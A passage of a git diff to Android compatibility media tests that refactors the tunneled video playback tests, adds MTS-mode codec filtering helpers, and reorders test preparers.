return mVideoCodecStates.get(0).getVideoTimeUs();
}
+ public long getVideoSystemTimeNs() {
+ if (mVideoCodecStates == null || mVideoCodecStates.get(0) == null) {
+ return -1;
+ }
+ return mVideoCodecStates.get(0).getVideoTimeUs();
+
+ }
+
/**
* Returns the ordered list of video frame timestamps rendered in tunnel mode.
*
@@ -643,39 +656,23 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
public Long queueOneVideoFrame() {
Log.d(TAG, "queueOneVideoFrame");
- if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) {
- return null;
+ if (mState != STATE_STARTED && mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STARTED or PAUSED, got " + mState);
}
Long result = null;
- for (CodecState state : mVideoCodecStates.values()) {
- Long timestamp = state.doSomeWork(true /* mustWait */);
- if (timestamp != null) {
- result = timestamp;
+ if (mVideoCodecStates != null) {
+ for (CodecState state : mVideoCodecStates.values()) {
+ Long timestamp = state.doSomeWork(true /* mustWait */);
+ if (timestamp != null) {
+ result = timestamp;
+ }
}
}
return result;
}
/**
- * Resume playback when paused.
- *
- * @throws IllegalStateException if playback is not paused or if there is no configured audio
- * track.
- */
- public void resume() {
- Log.d(TAG, "resume");
- if (mAudioTrackState == null) {
- throw new IllegalStateException("Resuming playback with no audio track");
- }
- if (mState != STATE_PAUSED) {
- throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
- }
- mAudioTrackState.playAudioTrack();
- mState = STATE_PLAYING;
- }
-
- /**
* Configure video peek for the video codecs attached to the player.
*/
public void setVideoPeek(boolean enable) {
diff --git a/tests/tests/media/common/src/android/media/cts/TestUtils.java b/tests/tests/media/common/src/android/media/cts/TestUtils.java
index b09d333d958..20bf143ca96 100644
--- a/tests/tests/media/common/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/common/src/android/media/cts/TestUtils.java
@@ -25,8 +25,10 @@ import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.text.TextUtils;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
import org.junit.Assert;
@@ -151,6 +153,47 @@ public final class TestUtils {
return true;
}
+ /*
+ * Report whether we are in MTS mode (vs in CTS) mode.
+ * Some tests (or parts of tests) are restricted to a particular mode.
+ */
+ public static boolean isMtsMode() {
+ Bundle bundle = InstrumentationRegistry.getArguments();
+ // null if not set
+ boolean isMTS = TextUtils.equals("true", bundle.getString("mts-media"));
+
+ return isMTS;
+ }
+
+ /*
+ * Report whether we want to test a particular code in the current test mode.
+ * CTS is pretty much "test them all".
+ * MTS should only be testing codecs that are part of the swcodec module; all of these
+ * begin with "c2.android."
+ *
+ * Used in spots throughout the test suite where we want to limit our testing to relevant
+ * codecs. This avoids false alarms that are sometimes triggered by non-compliant,
+ * non-mainline codecs.
+ *
+ * @param name the name of a codec
+ * @return {@code} true is the codec should be tested in the current operating mode.
+ */
+ public static boolean isTestableCodecInCurrentMode(String name) {
+ if (name == null) {
+ return false;
+ }
+ if (!isMtsMode()) {
+ // CTS mode -- test everything
+ return true;
+ }
+ // MTS mode, just the codecs that live in the modules
+ if (name.startsWith("c2.android.")) {
+ return true;
+ }
+ Log.d(TAG, "Test mode MTS does not test codec " + name);
+ return false;
+ }
+
private TestUtils() {
}
diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml
index c7d4550a016..55fe608afdb 100644
--- a/tests/tests/media/decoder/AndroidTest.xml
+++ b/tests/tests/media/decoder/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaDecoderTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaDecoderTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaDecoderTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaDecoderTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.decoder.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
index 145cfaf96fd..c9823760671 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
@@ -25,7 +25,6 @@ import android.annotation.TargetApi;
import android.content.Context;
import android.graphics.Bitmap;
import android.media.MediaFormat;
-import android.media.cts.MediaCodecTunneledPlayer;
import android.media.cts.MediaHeavyPresubmitTest;
import android.media.cts.TestArgs;
import android.os.Environment;
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
index b97c903997c..d26c45ffd33 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
@@ -16,6 +16,7 @@
package android.media.decoder.cts;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
@@ -66,6 +67,7 @@ import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Rule;
@@ -214,6 +216,8 @@ public class DecodeAccuracyTestBase {
return false;
}
configureVideoFormat(mediaFormat, videoFormat);
+ Assume.assumeTrue("Decoder " + codecName + " doesn't support format " + mediaFormat,
+ MediaUtils.supports(codecName, mediaFormat));
setRenderToSurface(surface != null);
return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index a424edbd8c5..9926f04378f 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -73,6 +73,7 @@ import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SdkSuppress;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
@@ -124,10 +125,10 @@ public class DecoderTest extends MediaTestBase {
private static final int CONFIG_MODE_NONE = 0;
private static final int CONFIG_MODE_QUEUE = 1;
- private static final int CODEC_ALL = 0; // All codecs must support
- private static final int CODEC_ANY = 1; // At least one codec must support
- private static final int CODEC_DEFAULT = 2; // Default codec must support
- private static final int CODEC_OPTIONAL = 3; // Codec support is optional
+ public static final int CODEC_ALL = 0; // All codecs must support
+ public static final int CODEC_ANY = 1; // At least one codec must support
+ public static final int CODEC_DEFAULT = 2; // Default codec must support
+ public static final int CODEC_OPTIONAL = 3; // Codec support is optional
short[] mMasterBuffer;
static final String mInpPrefix = WorkDir.getMediaDirString();
@@ -141,8 +142,6 @@ public class DecoderTest extends MediaTestBase {
private DisplayManager mDisplayManager;
static final Map<String, String> sDefaultDecoders = new HashMap<>();
- private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
throws FileNotFoundException {
File inpFile = new File(mInpPrefix + res);
@@ -3884,11 +3883,10 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -3921,8 +3919,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test tunneled video playback mode with HEVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoPlaybackHevc() throws Exception {
tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -3931,8 +3929,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test tunneled video playback mode with AVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoPlaybackAvc() throws Exception {
tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -3941,8 +3939,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test tunneled video playback mode with VP9 if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoPlaybackVp9() throws Exception {
tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
@@ -3966,11 +3964,10 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -3990,8 +3987,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test tunneled video playback flush with HEVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoFlushHevc() throws Exception {
testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -4000,8 +3997,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test tunneled video playback flush with AVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoFlushAvc() throws Exception {
testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -4010,23 +4007,19 @@ public class DecoderTest extends MediaTestBase {
/**
* Test tunneled video playback flush with VP9 if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoFlushVp9() throws Exception {
testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
/**
- * Test tunneled video peek renders the first frame when on
+ * Test that the first frame is rendered when video peek is on in tunneled mode.
*
* TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
*/
private void testTunneledVideoPeekOn(String mimeType, String videoName) throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOn requires Android 12")) {
- return;
- }
-
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4040,9 +4033,8 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
- mMediaCodecPlayer.start();
+ mMediaCodecPlayer.startCodec();
mMediaCodecPlayer.setVideoPeek(true); // Enable video peek
// Assert that onFirstTunnelFrameReady is called
@@ -4061,30 +4053,30 @@ public class DecoderTest extends MediaTestBase {
}
/**
- * Test tunneled video peek with HEVC renders the first frame when on
+ * Test that the first frame is rendered when video peek is on for HEVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOnHevc() throws Exception {
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled video peek with AVC renders the first frame when on
+ * Test that the first frame is rendered when video peek is on for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOnAvc() throws Exception {
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled video peek with VP9 renders the first frame when on
+ * Test that the first frame is rendered when video peek is on for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOnVp9() throws Exception {
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
@@ -4092,15 +4084,11 @@ public class DecoderTest extends MediaTestBase {
/**
- * Test tunneled video peek doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on in tunneled mode.
*
* TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
*/
private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
- return;
- }
-
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4114,9 +4102,8 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
- mMediaCodecPlayer.start();
+ mMediaCodecPlayer.startCodec();
mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
// Assert that onFirstTunnelFrameReady is called
@@ -4142,75 +4129,40 @@ public class DecoderTest extends MediaTestBase {
}
/**
- * Test tunneled video peek with HEVC doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on for HEC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOffHevc() throws Exception {
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled video peek with AVC doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOffAvc() throws Exception {
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled video peek with VP9 doesn't render the first frame when off and then turned on
+ * Test that peek off doesn't render the first frame until turned on for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"})
public void testTunneledVideoPeekOffVp9() throws Exception {
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
- /**
- * Test tunneled audio PTS gaps with HEVC if supported.
- * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
- * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
- * gap.
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioPtsGapsHevc() throws Exception {
- testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test tunneled audio PTS gaps with AVC if supported
- * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
- * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
- * gap.
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioPtsGapsAvc() throws Exception {
- testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test tunneled audio PTS gaps with VP9 if supported
- * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by
- * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the
- * gap.
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioPtsGapsVp9() throws Exception {
- testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- private void testTunneledAudioPtsGaps(String mimeType, String fileName) throws Exception {
+ /**
+ * Test that audio timestamps don't progress during audio PTS gaps in tunneled mode.
+ */
+ private void testTunneledAudioProgressWithPtsGaps(String mimeType, String fileName)
+ throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4224,11 +4176,10 @@ public class DecoderTest extends MediaTestBase {
final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4291,37 +4242,40 @@ public class DecoderTest extends MediaTestBase {
}
/**
- * Test tunneled audioTimestamp progress with underrun, with HEVC if supported
+ * Test that audio timestamps don't progress during audio PTS gaps for HEVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
- public void testTunneledAudioTimestampProgressWithUnderrunHevc() throws Exception {
- testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPtsGapsHevc() throws Exception {
+ testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled audioTimestamp progress with underrun, with AVC if supported.
+ * Test that audio timestamps don't progress during audio PTS gaps for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
- public void testTunneledAudioTimestampProgressWithUnderrunAvc() throws Exception {
- testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPtsGapsAvc() throws Exception {
+ testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled audioTimestamp progress with underrun, with VP9 if supported.
+ * Test that audio timestamps don't progress during audio PTS gaps for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
- public void testTunneledAudioTimestampProgressWithUnderrunVp9() throws Exception {
- testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPtsGapsVp9() throws Exception {
+ testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
- private void testTunneledAudioTimestampProgressWithUnderrun(
- String mimeType, String fileName) throws Exception {
+ /**
+ * Test that audio timestamps stop progressing during underrun in tunneled mode.
+ */
+ private void testTunneledAudioProgressWithUnderrun(String mimeType, String fileName)
+ throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4335,11 +4289,10 @@ public class DecoderTest extends MediaTestBase {
final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4380,9 +4333,39 @@ public class DecoderTest extends MediaTestBase {
}
/**
- * Test accurate video rendering after a video MediaCodec flush.
+ * Test that audio timestamps stop progressing during underrun for HEVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithUnderrunHevc() throws Exception {
+ testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during underrun for AVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithUnderrunAvc() throws Exception {
+ testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during underrun for VP9 in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithUnderrunVp9() throws Exception {
+ testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+ }
+
+ /**
+ * Test accurate video rendering after a flush in tunneled mode.
*
- * On some devices, queuing content when the player is paused, then triggering a flush, then
+ * Test On some devices, queuing content when the player is paused, then triggering a flush, then
* queuing more content does not behave as expected. The queued content gets lost and the flush
* is really only applied once playback has resumed.
*
@@ -4390,10 +4373,6 @@ public class DecoderTest extends MediaTestBase {
*/
private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
- return;
- }
-
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4414,15 +4393,14 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
// Video peek might interfere with the test: we want to ensure that queuing more data during
// a pause does not cause displaying more video frames, which is precisely what video peek
// does.
mMediaCodecPlayer.setVideoPeek(false);
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4434,22 +4412,72 @@ public class DecoderTest extends MediaTestBase {
assertNotEquals("Audio timestamp has a zero frame position",
mMediaCodecPlayer.getTimestamp().framePosition, 0);
+ // Allow some time for playback to commence
+ Thread.sleep(500);
+
// Pause playback
mMediaCodecPlayer.pause();
- // Allow some time for playback to pause
- Thread.sleep(maxDrainTimeMs);
-
- // Verify that playback has paused
- long pauseAudioFramePositionUs = mMediaCodecPlayer.getTimestamp().framePosition;
- long pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
- Thread.sleep(maxDrainTimeMs);
- assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioFramePositionUs);
+
+ // Wait for audio to pause
+ AudioTimestamp pauseAudioTimestamp;
+ {
+ AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ // If it takes longer to pause, the UX won't feel responsive to the user
+ int audioPauseTimeoutMs = 250;
+ assertTrue(String.format("No audio pause after %d milliseconds",
+ audioPauseTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < audioPauseTimeoutMs);
+ pauseAudioTimestamp = currentAudioTimestamp;
+ Thread.sleep(50);
+ currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ } while (currentAudioTimestamp.framePosition != pauseAudioTimestamp.framePosition);
+ }
+ long pauseAudioSystemTimeMs = pauseAudioTimestamp.nanoTime / 1000 / 1000;
+
+ // Wait for video to pause
+ long pauseVideoSystemTimeNs;
+ long pauseVideoPositionUs;
+ {
+ long currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int videoUnderrunTimeoutMs = 2000;
+ assertTrue(String.format("No video pause after %d milliseconds",
+ videoUnderrunTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
